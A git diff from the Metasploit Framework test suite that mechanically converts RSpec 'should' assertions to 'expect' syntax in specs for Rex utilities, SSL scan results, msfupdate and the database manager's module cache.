match(/\A[A-Z0-9_]*\Z/) ident = subject.generate { |identifier| identifier.downcase } - ident.should match(/\A[a-z0-9_]*\Z/) + expect(ident).to match(/\A[a-z0-9_]*\Z/) ident = subject.generate { |identifier| identifier.gsub("A","B") } ident.should_not include("A") @@ -125,16 +125,16 @@ RSpec.describe Rex::RandomIdentifierGenerator do describe "#to_h" do it "should return a Hash" do - rig.to_h.should be_kind_of(Hash) + expect(rig.to_h).to be_kind_of(Hash) end it "should return expected key-value pairs" do expected_keys = [:var_foo, :var_bar] expected_keys.shuffle.each do |key| rig.init_var(key) end - rig.to_h.size.should eq(expected_keys.size) - rig.to_h.keys.should include(*expected_keys) - rig.to_h.values.map {|v| v.class}.uniq.should eq([String]) + expect(rig.to_h.size).to eq(expected_keys.size) + expect(rig.to_h.keys).to include(*expected_keys) + expect(rig.to_h.values.map {|v| v.class}.uniq).to eq([String]) end end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 668e719a5a..28a352f49e 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -41,13 +41,13 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle single ipv6 addresses" do walker = Rex::Socket::RangeWalker.new("::1") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 1 end it "should handle longform ranges" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-10.1.1.2") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 2 expect(walker.next).to eq "10.1.1.1" end @@ -61,16 +61,16 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle ranges" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-2") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 2 expect(walker.next).to eq "10.1.1.1" walker = Rex::Socket::RangeWalker.new("10.1-2.1.1-2") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 4 walker = Rex::Socket::RangeWalker.new("10.1-2.3-4.5-6") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 8 - walker.should include("10.1.3.5") + expect(walker).to include("10.1.3.5") end it 'should reject CIDR ranges with missing octets' do @@ -85,41 +85,38 @@ RSpec.describe Rex::Socket::RangeWalker do it "should default the lower bound of a range to 0" do walker = Rex::Socket::RangeWalker.new("10.1.3.-17") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 18 walker = Rex::Socket::RangeWalker.new("10.1.3.-255") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 256 end it "should default the upper bound of a range to 255" do walker = Rex::Socket::RangeWalker.new("10.1.3.254-") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 2 end it "should take * to mean 0-255" do walker = Rex::Socket::RangeWalker.new("10.1.3.*") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 256 expect(walker.next).to eq "10.1.3.0" - walker.should include("10.1.3.255") + expect(walker).to include("10.1.3.255") walker = Rex::Socket::RangeWalker.new("10.1.*.3") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 256 expect(walker.next).to eq "10.1.0.3" - walker.should include("10.1.255.3") + expect(walker).to include("10.1.255.3") end it "should handle lists" do - #walker = Rex::Socket::RangeWalker.new("10.1.1.1,2") - #walker.should be_valid - #walker.length.should == 2 walker = Rex::Socket::RangeWalker.new("10.1.1.1") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 1 walker = Rex::Socket::RangeWalker.new("10.1.1.1,3") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 2 walker.should_not include("10.1.1.2") end @@ -127,15 +124,15 @@ RSpec.describe Rex::Socket::RangeWalker do it "should produce the same ranges with * and 0-255" do a = Rex::Socket::RangeWalker.new("10.1.3.*") b = Rex::Socket::RangeWalker.new("10.1.3.0-255") - a.ranges.should eq(b.ranges) + expect(a.ranges).to eq(b.ranges) end it "should handle ranges and lists together" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-2,3") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 3 walker = Rex::Socket::RangeWalker.new("10.1-2.1.1,2") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 4 walker = Rex::Socket::RangeWalker.new("10.1,2.3,4.5,6") expect(walker.length).to eq 8 @@ -144,7 +141,7 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle cidr" do 31.downto 16 do |bits| walker = Rex::Socket::RangeWalker.new("10.1.1.1/#{bits}") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq (2**(32-bits)) end end @@ -168,7 +165,7 @@ RSpec.describe Rex::Socket::RangeWalker do it "returns true for a sub-range" do other = described_class.new("10.1.1.1-255") - walker.should be_include_range(other) + expect(walker).to be_include_range(other) end end diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index c354adbfaa..c3682e835b 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -58,9 +58,9 @@ RSpec.describe Rex::Socket do context 'with a hostname' do let(:try) { "localhost" } it "should resolve" do - nbo.should be_a(String) + expect(nbo).to be_a(String) expect(nbo.encoding).to eq Encoding.find('binary') - [ 4, 16 ].should include(nbo.length) + expect([ 4, 16 ]).to include(nbo.length) end end @@ -134,8 +134,8 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(Array) } it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do - subject.should include("1.1.1.1") - subject.should include("2.2.2.2") + expect(subject).to include("1.1.1.1") + expect(subject).to include("2.2.2.2") end end @@ -146,8 +146,8 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(Array) } it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do - subject.should include("fe80::1") - subject.should include("fe80::2") + expect(subject).to include("fe80::1") + expect(subject).to include("fe80::2") end end @@ -158,8 +158,8 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(Array) } it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do - subject.should include("1.1.1.1") - subject.should include("2.2.2.2") + expect(subject).to include("1.1.1.1") + expect(subject).to include("2.2.2.2") end end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index cff2df29a3..0e547d0df8 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -27,7 +27,7 @@ RSpec.describe Rex::SSLScan::Result do end it "should return an empty set for ciphers" do - subject.ciphers.should be_empty + expect(subject.ciphers).to be_empty end it "should return an empty array for accepted" do @@ -138,7 +138,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.accepted(:SSLv2).should include({ + expect(subject.accepted(:SSLv2)).to include({ :version => :SSLv2, :cipher=>"DES-CBC3-MD5", :key_length=>168, @@ -151,7 +151,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ + expect(subject.accepted(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, @@ -161,7 +161,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.accepted(:TLSv1).should include({ + expect(subject.accepted(:TLSv1)).to include({ :version => :TLSv1, :cipher=>"AES256-SHA", :key_length=>256, @@ -172,13 +172,13 @@ RSpec.describe Rex::SSLScan::Result do it "should successfully add multiple entries in a row" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ + expect(subject.accepted(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, :weak=> false, :status => :accepted}) - subject.accepted(:SSLv3).should include({ + expect(subject.accepted(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, @@ -196,7 +196,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) - subject.rejected(:SSLv2).should include({ + expect(subject.rejected(:SSLv2)).to include({ :version => :SSLv2, :cipher=>"DES-CBC3-MD5", :key_length=>168, @@ -209,7 +209,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ + expect(subject.rejected(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, @@ -219,7 +219,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.rejected(:TLSv1).should include({ + expect(subject.rejected(:TLSv1)).to include({ :version => :TLSv1, :cipher=>"AES256-SHA", :key_length=>256, @@ -230,13 +230,13 @@ RSpec.describe Rex::SSLScan::Result do it "should successfully add multiple entries in a row" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ + expect(subject.rejected(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, :weak=> false, :status => :rejected}) - subject.rejected(:SSLv3).should include({ + expect(subject.rejected(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES128-SHA", :key_length=>128, @@ -262,7 +262,7 @@ RSpec.describe Rex::SSLScan::Result do context "with no version selected" do it "should return an array of cipher detail hashes" do subject.each_accepted do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + expect(cipher_details).to include(:version, :cipher, :key_length, :status, :weak) end end @@ -318,7 +318,7 @@ RSpec.describe Rex::SSLScan::Result do context "with no version selected" do it "should return an array of cipher detail hashes" do subject.each_rejected do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + expect(cipher_details).to include(:version, :cipher, :key_length, :status, :weak) end end @@ -479,7 +479,7 @@ RSpec.describe Rex::SSLScan::Result do subject.openssl_sslv2 = false end it "should warn the user" do - subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + expect(subject.to_s).to include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" end end @@ -504,15 +504,15 @@ RSpec.describe Rex::SSLScan::Result do end it "should contain the certificate" do - subject.to_s.should include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" - subject.to_s.should include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" + expect(subject.to_s).to include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" + expect(subject.to_s).to include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" end it "should have a table with our SSL Cipher Results" do - subject.to_s.should include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" - subject.to_s.should include "Accepted SSLv3 128 AES128-SHA" - subject.to_s.should include "Accepted SSLv3 256 AES256-SHA" - subject.to_s.should include "Accepted TLSv1 256 AES256-SHA" + expect(subject.to_s).to include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" + expect(subject.to_s).to include "Accepted SSLv3 128 AES128-SHA" + expect(subject.to_s).to include "Accepted SSLv3 256 AES256-SHA" + expect(subject.to_s).to include "Accepted TLSv1 256 AES256-SHA" end end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 8a9a457c57..f0324c1d2e 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -77,14 +77,14 @@ RSpec.describe Rex::SSLScan::Scanner do end it "should return an X509 cert if it can connect" do - subject.get_cert(:SSLv3, "AES256-SHA").should be_a OpenSSL::X509::Certificate + expect(subject.get_cert(:SSLv3, "AES256-SHA")).to be_a OpenSSL::X509::Certificate end end context "when scanning https://google.com" do it "should return a Result object" do result = subject.scan - result.should be_a Rex::SSLScan::Result + expect(result).to be_a Rex::SSLScan::Result end context "if SSLv2 is not available locally" do diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index e335ff6741..e13fc2b412 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -6,19 +6,19 @@ RSpec.describe Rex::Text do context ".to_ebcdic" do it "should convert ASCII to EBCDIC (both US standards)" do - described_class.to_ebcdic("Hello, World!").should eq("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a") + expect(described_class.to_ebcdic("Hello, World!")).to eq("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a") end it "should raise on non-convertable characters" do - lambda {described_class.to_ebcdic("\xff\xfe")}.should raise_exception(described_class::IllegalSequence) + expect(lambda {described_class.to_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence) end end context ".from_ebcdic" do it "should convert EBCDIC to ASCII (both US standards)" do - described_class.from_ebcdic("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a").should eq("Hello, World!") + expect(described_class.from_ebcdic("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a")).to eq("Hello, World!") end it "should raise on non-convertable characters" do - lambda {described_class.from_ebcdic("\xff\xfe")}.should raise_exception(described_class::IllegalSequence) + expect(lambda {described_class.from_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence) end end @@ -38,42 +38,42 @@ RSpec.describe Rex::Text do context ".to_utf8" do it "should convert a string to UTF-8, skipping badchars" do - described_class.to_utf8("Hello, world!").should eq("Hello, world!") - described_class.to_utf8("Oh no, \xff\xfe can't convert!").should eq("Oh no, can't convert!") + expect(described_class.to_utf8("Hello, world!")).to eq("Hello, world!") + expect(described_class.to_utf8("Oh no, \xff\xfe can't convert!")).to eq("Oh no, can't convert!") end end context ".to_octal" do it "should convert all chars 00 through ff" do - described_class.to_octal("\x7f"*100).should eq("\\177"*100) + expect(described_class.to_octal("\x7f"*100)).to eq("\\177"*100) all_chars = (0..0xff).map {|c| [c].pack("C") }.join all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join - described_class.to_octal(all_chars).should eq(all_octal) + expect(described_class.to_octal(all_chars)).to eq(all_octal) end it "should use the given prefix" do - described_class.to_octal("\x7f"*100, "foo").should eq("foo177"*100) + expect(described_class.to_octal("\x7f"*100, "foo")).to eq("foo177"*100) all_chars = (0..0xff).map {|c| [c].pack("C") }.join all_octal = (0..0xff).map {|c| "test%o"%(c) }.join - described_class.to_octal(all_chars, "test").should eq(all_octal) + expect(described_class.to_octal(all_chars, "test")).to eq(all_octal) end end context ".to_hex" do it "should convert all chars 00 through ff" do - described_class.to_hex("\x7f"*100).should eq("\\x7f"*100) + expect(described_class.to_hex("\x7f"*100)).to eq("\\x7f"*100) all_chars = (0..0xff).map {|c| [c].pack("C") }.join all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex(all_chars).should eq(all_hex) + expect(described_class.to_hex(all_chars)).to eq(all_hex) end it "should use the given prefix" do - described_class.to_hex("\x7f"*100, "foo").should eq("foo7f"*100) + expect(described_class.to_hex("\x7f"*100, "foo")).to eq("foo7f"*100) all_chars = (0..0xff).map {|c| [c].pack("C") }.join all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join - described_class.to_hex(all_chars, "test").should eq(all_hex) + expect(described_class.to_hex(all_chars, "test")).to eq(all_hex) end end @@ -81,24 +81,24 @@ RSpec.describe Rex::Text do it "should handle non-printables" do non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex_ascii(non_print).should eq(non_print_hex) + expect(described_class.to_hex_ascii(non_print)).to eq(non_print_hex) - described_class.to_hex_ascii("\x00").should eq("\\x00") - described_class.to_hex_ascii("\x1f").should eq("\\x1f") - described_class.to_hex_ascii("\x00"*100).should eq("\\x00"*100) + expect(described_class.to_hex_ascii("\x00")).to eq("\\x00") + expect(described_class.to_hex_ascii("\x1f")).to eq("\\x1f") + expect(described_class.to_hex_ascii("\x00"*100)).to eq("\\x00"*100) end it "should not mess with printables" do - described_class.to_hex_ascii("A").should eq("A") - described_class.to_hex_ascii("A\x7f").should eq("A\\x7f") + expect(described_class.to_hex_ascii("A")).to eq("A") + expect(described_class.to_hex_ascii("A\x7f")).to eq("A\\x7f") end end context ".gzip" do it "should return a properly formatted gzip file" do str = described_class.gzip("hi mom") - str[0,4].should eq("\x1f\x8b\x08\x00") # Gzip magic + expect(str[0,4]).to eq("\x1f\x8b\x08\x00") # Gzip magic # bytes 4 through 9 are a time stamp - str[10..-1].should eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") + expect(str[10..-1]).to eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") end end @@ -107,32 +107,32 @@ RSpec.describe Rex::Text do gzip = "\x1f\x8b\x08\x00" gzip << "\x00" * 6 gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00" - described_class.ungzip(gzip).should eq("hi mom") + expect(described_class.ungzip(gzip)).to eq("hi mom") end end context ".rand_surname" do it "should return a random surname" do - described_class::Surnames.should include(described_class.rand_surname) + expect(described_class::Surnames).to include(described_class.rand_surname) end end context ".rand_name" do it "should return a random name" do names = described_class::Names_Female + described_class::Names_Male - names.should include(described_class.rand_name) + expect(names).to include(described_class.rand_name) end end context ".rand_name_female" do it "should return a random female name" do - described_class::Names_Female.should include(described_class.rand_name_female) + expect(described_class::Names_Female).to include(described_class.rand_name_female) end end context ".rand_name_male" do it "should return a random male name" do - described_class::Names_Male.should include(described_class.rand_name_male) + expect(described_class::Names_Male).to include(described_class.rand_name_male) end end @@ -147,10 +147,10 @@ RSpec.describe Rex::Text do name, surname = mail_address.first.first, mail_address.first.last domain, tld = "example", mail_address.last.last # Poor man's stubbing to preserve TLD - names.should include(name) - surnames.should include(surname) - domain.should eq("example") - tlds.should include(tld) + expect(names).to include(name) + expect(surnames).to include(surname) + expect(domain).to eq("example") + expect(tlds).to include(tld) end end @@ -158,12 +158,12 @@ RSpec.describe Rex::Text do let (:sample_text) { "The quick brown sploit jumped over the lazy A/V" } let (:spaced_text) { described_class.randomize_space(sample_text) } it "should return a string with at least one new space characater" do - spaced_text.should match /[\x09\x0d\x0a]/ + expect(spaced_text).to match /[\x09\x0d\x0a]/ end it "should not otherwise be mangled" do normalized_text = spaced_text.gsub(/[\x20\x09\x0d\x0a]+/m, " ") - normalized_text.should eq(sample_text) + expect(normalized_text).to eq(sample_text) end end diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index bd79508b98..e723c87463 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -122,7 +122,7 @@ RSpec.describe Msfupdate do it "sets @offline_file" do subject.parse_args(args) - subject.instance_variable_get(:@offline_file).should =~ Regexp.new(Regexp.escape(offline_file)) + expect(subject.instance_variable_get(:@offline_file)).to =~ Regexp.new(Regexp.escape(offline_file)) end context "with relative path" do @@ -145,7 +145,7 @@ RSpec.describe Msfupdate do it "sets @offline_file" do subject.parse_args(["--offline-file=#{offline_file}"]) - subject.instance_variable_get(:@offline_file).should =~ Regexp.new(Regexp.escape(offline_file)) + expect(subject.instance_variable_get(:@offline_file)).to =~ Regexp.new(Regexp.escape(offline_file)) end end end diff --git a/spec/support/shared/examples/an_option.rb b/spec/support/shared/examples/an_option.rb index 35cf0786f1..9464fa1936 100644 --- a/spec/support/shared/examples/an_option.rb +++ b/spec/support/shared/examples/an_option.rb @@ -32,7 +32,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| it "should be valid and normalize appropriately: #{valid_value}" do block = Proc.new { expect(subject.normalize(valid_value)).to eq normalized_value - subject.valid?(valid_value).should be_truthy + expect(subject.valid?(valid_value)).to be_truthy } if vhash[:skip] skip(vhash[:skip], &block) @@ -47,7 +47,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| invalid_values.each do |vhash| invalid_value = vhash[:value] it "should not be valid: #{invalid_value}" do - block = Proc.new { subject.valid?(invalid_value).should be_falsey } + block = Proc.new { expect(subject.valid?(invalid_value)).to be_falsey } if vhash[:skip] skip(vhash[:skip], &block) else diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index d9fd8d9f15..a25135cc46 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -15,7 +15,7 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_de it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do if attribute == false - child_node.content.should be_blank + expect(child_node.content).to be_blank else expect(child_node.content).to eq attribute.to_s end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 4aea900ea5..d7370192d8 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -85,7 +85,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should include methods from module so method can be overridden easier in pro' do - db_manager.should be_a Msf::DBManager::Import::MetasploitFramework::XML + expect(db_manager).to be_a Msf::DBManager::Import::MetasploitFramework::XML end context 'CONSTANTS' do @@ -221,8 +221,8 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should have nil for child name in info' do # use have_key to verify info isn't just returning hash default of # `nil`. - info.should have_key(child_sym) - info[child_sym].should be_nil + expect(info).to have_key(child_sym) + expect(info[child_sym]).to be_nil end end @@ -599,7 +599,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should be a Hash' do with_info do |info| - info.should be_a Hash + expect(info).to be_a Hash end end @@ -716,7 +716,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do expect(db_manager).to receive(:import_msf_web_element) do |*args, &specialization| info = specialization.call(element, options) - info.should be_a Hash + expect(info).to be_a Hash end import_msf_web_page_element @@ -885,7 +885,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should be a Hash' do with_info do |info| - info.should be_a Hash + expect(info).to be_a Hash end import_msf_web_vuln_element diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 3380af52d6..5e56901547 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -67,7 +67,7 @@ shared_examples_for 'Msf::DBManager::Migration' do it 'should log error message at error level' do expect(db_manager).to receive(:elog) do |error_message| - error_message.should include(error.to_s) + expect(error_message).to include(error.to_s) end migrate @@ -75,7 +75,7 @@ shared_examples_for 'Msf::DBManager::Migration' do it 'should log error backtrace at debug level' do expect(db_manager).to receive(:dlog) do |debug_message| - debug_message.should include('Call stack') + expect(debug_message).to include('Call stack') end migrate diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 09b3a6252d..7bb28dd886 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -169,11 +169,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it "should match Mdm::Module::Detail#stance 'passive'" do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.stance == 'passive' - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.stance == 'passive' + } + ).to eq true end end @@ -183,11 +185,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it "should match Mdm::Module::Detail#stance 'aggressive'" do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.stance == 'aggressive' - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.stance == 'aggressive' + } + ).to eq true end end end @@ -212,13 +216,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#email' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.email == target_module_author.email + expect( + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.email == target_module_author.email + } } - }.should be_truthy + ).to eq true end end @@ -229,13 +235,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == target_module_author.name + expect( + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == target_module_author.name + } } - }.should be_truthy + ).to eq true end end end @@ -263,11 +271,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.fullname == target_module_detail.fullname - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.fullname == target_module_detail.fullname + } + ).to eq true end end @@ -278,11 +288,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + } + ).to eq true end end end @@ -313,13 +325,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == ref + expect( + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == ref + } } - }.should be_truthy + ).to eq true end end @@ -353,11 +367,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#mtype' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.mtype == type - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.mtype == type + } + ).to eq true end end @@ -379,13 +395,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Action#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.actions.any? { |module_action| - module_action.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.actions.any? { |module_action| + module_action.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -399,13 +417,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Arch#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.archs.any? { |module_arch| - module_arch.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.archs.any? { |module_arch| + module_arch.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -419,13 +439,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -447,9 +469,11 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do it 'should match Mdm::Module::Detail#description' do expect(module_details.count).to eq 1 - module_details.all? { |module_detail| - module_detail.description == target_module_detail.description - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.description == target_module_detail.description + } + ).to eq true end end @@ -461,9 +485,11 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do it 'should match Mdm::Module::Detail#fullname' do expect(module_details.count).to eq 1 - module_details.all? { |module_detail| - module_detail.fullname == search_string - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.fullname == search_string + } + ).to eq true end end @@ -476,9 +502,11 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do it 'should match Mdm::Module::Detail#name' do expect(module_details.count).to eq 1 - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + } + ).to eq true end end end @@ -493,13 +521,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Platform#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -513,13 +543,15 @@ shared_examples_for 